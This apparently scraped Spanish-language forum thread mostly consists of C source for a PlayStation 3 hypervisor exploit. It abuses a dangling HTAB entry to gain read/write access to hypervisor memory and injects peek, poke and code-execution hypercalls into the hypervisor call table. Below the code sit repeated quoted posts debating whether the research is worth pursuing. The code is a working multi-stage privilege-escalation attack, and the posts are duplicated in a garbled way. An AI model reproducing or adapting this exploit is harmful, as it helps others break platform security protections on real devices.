// If could not get lpar address then ignore this entry
if(my_lpar == 0xFFFFFFFFFFFFFFFF)
{
//printf("%4x: %lx %lx ... %lx -> %lx\n", i, g1, g2, va, ra);
continue;
}
// Add HTAB Entry to new HTAB
if( lv1_write_htab_entry(destVasID, htab_idx, HTAB[htab_idx].Num[0], my_lpar|(HTAB[htab_idx].Num[1]&0xFFF)) )
printf("Write HTAB failed: %lx %lx\n", HTAB[htab_idx].Num[0], my_lpar|(HTAB[htab_idx].Num[1]&0xFFF));
// Verify that the HTAB Entry was added correctly
if( dest_htab[htab_idx].Num[0] != HTAB[htab_idx].Num[0] ||
dest_htab[htab_idx].Num[1] != HTAB[htab_idx].Num[1] )
{
printf("Verify HTAB failed on index 0x%x\n", htab_idx);
printf("%lx %lx --> %lx %lx\n",
HTAB[htab_idx].Num[0], HTAB[htab_idx].Num[1],
dest_htab[htab_idx].Num[0], dest_htab[htab_idx].Num[1]);
}
}
}
// Perform the second stage of the exploit.
//
// This creates a new virtual address space which has its own HTAB.
// It then checks if the address of this new HTAB overlaps the
// memory pointed to by the "dangling HTAB Entry". If it does not it
// frees the virtual space and then tries again until it does overlap.
//
int exploit_second_stage(void)
{
int htab_idx;
uint64_t htab_size, num_page_sizes, page_sizes, act_htab_size;
uint64_t new_vas_id=0, new_htab_lpar_addr=0, new_htab_real_addr;
uint64_t old_vas_id=0, old_htab_lpar_addr=0, old_htab_real_addr;
HTABE* new_htab_rw;
HTABE* old_htab_rw;
uint64_t status, result;
result = 0;
if( is_exploit_stage2_done() )
return 1;
if( !is_exploit_stage1_done() )
{
printf("STAGE2: Error: Exploited HTAB Entry not present\n");
return 0;
}
// Create a new virtual address space.
// The PS3 supports two large page sizes, so we specify 16MB and 1MB sized pages.
htab_size = EXP_1MB;
num_page_sizes = 2;
page_sizes = PAGE_SIZES(EXP_16MB, EXP_1MB);
new_vas_id = 0;
if( lv1_construct_virtual_address_space(htab_size, num_page_sizes, page_sizes,
&new_vas_id, &act_htab_size) )
{
printf("STAGE2: Error creating new virtual space\n");
return 0;
}
if( new_vas_id == 0 )
{
printf("STAGE2: Error invalid VAS ID when creating new virtual space\n");
return 0;
}
// Get the lpar and real addresses of the new HTAB
lv1_map_htab(new_vas_id, &new_htab_lpar_addr);
new_htab_real_addr = htab_ra_from_lpar(new_htab_lpar_addr);
// Get the lpar and real addresses of the old HTAB
lv1_get_virtual_address_space_id_of_ppe(PPE_ID0, &old_vas_id);
lv1_map_htab(old_vas_id, &old_htab_lpar_addr);
old_htab_real_addr = htab_ra_from_lpar(old_htab_lpar_addr);
// Get the index of the exploited HTAB Entry
// Then check if the exploited HTAB Entry overlaps with the new HTAB
htab_idx = get_dangling_htab_entry_idx();
if( htab_idx < 0 )
{
printf("STAGE2: Error exploit HTAB Entry not found\n");
goto end;
}
if( new_htab_real_addr != HTABE_GET_RA(HTAB[htab_idx]) )
{
printf("STAGE2: Exploit HTAB Entry does not overlap new segment: 0x%016lx != 0x%016lx\n",
new_htab_real_addr, HTABE_GET_RA(HTAB[htab_idx]));
goto end;
}
else
{
printf("STAGE2: Exploit HTAB Entry overlaps new segment: 0x%016lx == 0x%016lx\n",
new_htab_real_addr, HTABE_GET_RA(HTAB[htab_idx]));
}
// Add SLB mapping to access the memory pointed to by the exploited HTAB Entry
// (This memory points to the new HTAB in the new Virtual Space)
slb_add_segment(SPECIAL_EA, HTABE_GET_VA(HTAB[htab_idx]), SLBE_KP);
// Generate an EA pointer to the memory pointed to be the exploited HTAB Entry
// (This memory points to the new HTAB in the new Virtual Space)
// Since this uses the exploited entry it allows write access to the new HTAB
new_htab_rw = (HTABE*)CALC_SPECIAL_EA(SPECIAL_EA, htab_idx);
// Use the write access we now have to the new HTAB to forcefully add an entry.
// Add an entry to the new HTAB to enable write access to the contents of the
// original HTAB.
htabe_set(new_htab_rw, SPECIAL_VA, SPECIAL_VA_FLAGS_VALID,
old_htab_real_addr, SPECIAL_RA_FLAGS_READWRITE);
// Create a copy of the original HTAB in the new virtual address space
printf("STAGE2: About to copy HTAB contents\n");
copy_htab_to_new_vas(new_vas_id,
new_htab_lpar_addr, new_htab_real_addr,
old_htab_lpar_addr, old_htab_real_addr);
printf("STAGE2: Copied HTAB contents successfully\n");
// Add SLB mapping to access the memory that contains the original HTAB
slb_add_segment(SPECIAL_EA, SPECIAL_VA, SLBE_KP);
// Switch to the new Virtual Address Space which uses
// the newly created HTAB "copy".
// (This makes it safe to alter the original HTAB contents).
//
// Add entry to the original HTAB to give read/write access memory
// starting at Real Address 0. This is the memory that is usually
// blocked from access and contains the hypervisor.
//
// Switch back to the original Virtual Address Space and the HTAB
// which now contains the new read/write memory entry.
printf("STAGE2: About to add read/write access to HTAB\n");
KERNEL_CHILL_BEGIN();
status = lv1_select_virtual_address_space(new_vas_id);
// Add HTAB mapping to access memory starting at 0
old_htab_rw = (HTABE*)SPECIAL_EA;
htabe_set(&old_htab_rw[1],
SPECIAL_VA, SPECIAL_VA_FLAGS_VALID_LARGE,
0, SPECIAL_RA_FLAGS_READWRITE);
lv1_select_virtual_address_space(old_vas_id);
KERNEL_CHILL_END();
printf("STAGE2: HTAB alteration complete\n");
// Add SLB mapping to access memory starting at 0
slb_add_segment(SPECIAL_EA, SPECIAL_VA, SLBE_KP|SLBE_L);
// success
result = 1;
end:
if(new_htab_lpar_addr) lv1_unmap_htab(new_htab_lpar_addr);
if(new_vas_id) lv1_destruct_virtual_address_space(new_vas_id);
return result;
}
// By the time this is called the exploit should have already been triggered.
// This then installs the peek and poke syscalls via the exploit.
void install_hypercalls(void)
{
uint64_t lpar_addr, real_addr, muid, invalid_call_addr;
uint64_t* hvc_table_addr;
uint64_t* lpar_addr_exec;
uint32_t* addr32;
uint64_t* addr64;
int offset;
if( is_exploit_stage3_done() )
return;
if( !is_exploit_stage2_done() )
{
printf("STAGE3: Error inserting hypercalls, exploit is not installed\n");
return;
}
// Allocate a new 4kb page to inject some code into.
// It needs to be remapped to set the executable flag for it,
// otherwise the code cannot be executed.
lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr, &muid);
real_addr = htab_ra_from_lpar(lpar_addr);
lpar_addr_exec = ps3MmuIoRemap(lpar_addr, SIZE_4KB);
// insert code for the new syscalls we will be adding
// peek syscalls (64, 32, 16, 8 bit)
lpar_addr_exec[0] = 0xE86300004E800020; // ld %r3, 0(%r3) blr
lpar_addr_exec[1] = 0x806300004E800020; // lwz %r3, 0(%r3) blr
lpar_addr_exec[2] = 0xA06300004E800020; // lhz %r3, 0(%r3) blr
lpar_addr_exec[3] = 0x886300004E800020; // lbz %r3, 0(%r3) blr
// peek syscalls (64, 32, 16, 8 bit)
lpar_addr_exec[4] = 0xF88300004E800020; // std %r4, 0(%r3) blr
lpar_addr_exec[5] = 0x908300004E800020; // stw %r4, 0(%r3) blr
lpar_addr_exec[6] = 0xB08300004E800020; // sth %r4, 0(%r3) blr
lpar_addr_exec[7] = 0x988300004E800020; // stb %r4, 0(%r3) blr
// exec syscall code
lpar_addr_exec[ 8] = 0x7C0802A660000000;// mflr %r0 nop
lpar_addr_exec[ 9] = 0xF821FF91F8010080;// stdu %sp, -0x70(%sp) std %r0, 0x80(%sp)
lpar_addr_exec[10] = 0x7D4903A64E800421;// mtctr %r10 bctrl
lpar_addr_exec[11] = 0xE801008038210070;// ld %r0, 0x80(%sp) addi %sp, %sp, 0x70
lpar_addr_exec[12] = 0x7C0803A64E800020;// mtlr %r0 blr
// Add SLB mapping to access memory starting at 0
slb_add_segment(SPECIAL_EA, SPECIAL_VA, SLBE_KP|SLBE_L);
// This bit was added by xorloser to find the address of the syscall table
// instead of using a version specific harcoded address.
//
// This first looks for the lv1_invalid_hvcall handler function,
// then finds references to this handler which should be entries
// in the syscall table. It then gets the start of this table to
// use as the syscall table address.
printf("STAGE3: Searching for hypercall table...\n");
hvc_table_addr = 0;
for(offset=0; offset<SIZE_4MB - 16; offset+=4)
{
addr32 = (uint32_t*)(SPECIAL_EA + offset);
if( addr32[0] == 0x38600000 &&
addr32[1] == 0x6463ffff &&
addr32[2] == 0x6063ffec &&
addr32[3] == 0x4e800020 )
{
invalid_call_addr = offset;
printf("STAGE3: Found lv1_invalid_hvcall at %lx\n", invalid_call_addr);
for(offset=0; offset<SIZE_4MB - 16; offset+=8)
{
addr64 = (uint64_t*)(SPECIAL_EA + offset);
if( addr64[0] == invalid_call_addr &&
addr64[1] == invalid_call_addr &&
addr64[2] != invalid_call_addr &&
addr64[3] == invalid_call_addr )
{
hvc_table_addr = (uint64_t*)(SPECIAL_EA + offset - (22*8));
break;
}
}
break;
}
}
// Only add new syscalls if the syscall table was found.
if(hvc_table_addr)
{
printf("STAGE3: Found hypercall table at %x\n", (uint32_t)(uint64_t)hvc_table_addr);
printf("STAGE3: Inserting hypercalls\n");
hvc_table_addr[32] = real_addr+0x00; // peek 64bit
hvc_table_addr[33] = real_addr+0x08; // peek 32bit
hvc_table_addr[34] = real_addr+0x10; // peek 16bit
hvc_table_addr[35] = real_addr+0x18; // peek 8bit
hvc_table_addr[36] = real_addr+0x20; // poke 64bit
hvc_table_addr[37] = real_addr+0x28; // poke 32bit
hvc_table_addr[38] = real_addr+0x30; // poke 16bit
hvc_table_addr[39] = real_addr+0x38; // poke 8bit
hvc_table_addr[40] = real_addr+0x40; // exec code
if( is_exploit_stage3_done() )
printf("STAGE3: Successfully inserted hypercalls\n");
else
printf("STAGE3: Error inserting hypercalls\n");
}
else
{
printf("STAGE3: Error searching for hypercall table\n");
}
}
// perform the ps3 exploit
//
// args: number of times to loop waiting for the exploit
void ps3_exploit(int num)
{
int i, htab_idx;
// if 0 times is specified, reset all htab entries
if(num == 0)
{
printf("Resetting PS3Exploit HTAB Entries\n");
for(htab_idx=0; htab_idx<HTAB_COUNT; htab_idx++)
{
if( !HTABE_IS_VALID(HTAB[htab_idx]) ||
(HTABE_GET_VA(HTAB[htab_idx]) & SPECIAL_VA_MASK) == SPECIAL_VA )
{
lv1_write_htab_entry(0, htab_idx, 0, 0);
}
}
return;
}
// otherwise attempt the exploit the given amount of times
for(i=0; i<num; i++)
{
if( !exploit_first_stage(i, num) )
continue;
if( !exploit_second_stage() )
continue;
install_hypercalls();
break;
}
}
lv1_get_virtual_address_space_id_of_ppe(PPE_ID0, &old_vas_id);
lv1_get_virtual_address_space_id_of_pu(PPE_ID0, &old_vas_id);
lokojose escribió:no es por quitarte meritos.. pero si no sabes tu que eres el investigador unico de este hilo por donde seguir.. mal asunto.. deja todo como esta que se esta viendo que este no es el camino a seguir para conseguir algo.. y no estoy metiendome con el trabajo que as echo.. solo que como dije hace un tiempo.. es perder el tiempo.
lokojose escribió:no es por quitarte meritos.. pero si no sabes tu que eres el investigador unico de este hilo por donde seguir.. mal asunto.. deja todo como esta que se esta viendo que este no es el camino a seguir para conseguir algo.. y no estoy metiendome con el trabajo que as echo.. solo que como dije hace un tiempo.. es perder el tiempo.
lokojose escribió:no es por quitarte meritos.. pero si no sabes tu que eres el investigador unico de este hilo por donde seguir.. mal asunto.. deja todo como esta que se esta viendo que este no es el camino a seguir para conseguir algo.. y no estoy metiendome con el trabajo que as echo.. solo que como dije hace un tiempo.. es perder el tiempo.
Psmaniaco escribió:lokojose escribió:no es por quitarte meritos.. pero si no sabes tu que eres el investigador unico de este hilo por donde seguir.. mal asunto.. deja todo como esta que se esta viendo que este no es el camino a seguir para conseguir algo.. y no estoy metiendome con el trabajo que as echo.. solo que como dije hace un tiempo.. es perder el tiempo.
Si se que soy el unico investigando el tema,si geoth consiguio acceder con Linux a todo el hardware del sistema con este sistema creo que merece la pena el esfuerzo.
Un saludo.
Psmaniaco escribió:lokojose escribió:no es por quitarte meritos.. pero si no sabes tu que eres el investigador unico de este hilo por donde seguir.. mal asunto.. deja todo como esta que se esta viendo que este no es el camino a seguir para conseguir algo.. y no estoy metiendome con el trabajo que as echo.. solo que como dije hace un tiempo.. es perder el tiempo.
Si se que soy el unico investigando el tema,si geoth consiguio acceder con Linux a todo el hardware del sistema con este sistema creo que merece la pena el esfuerzo.
Un saludo.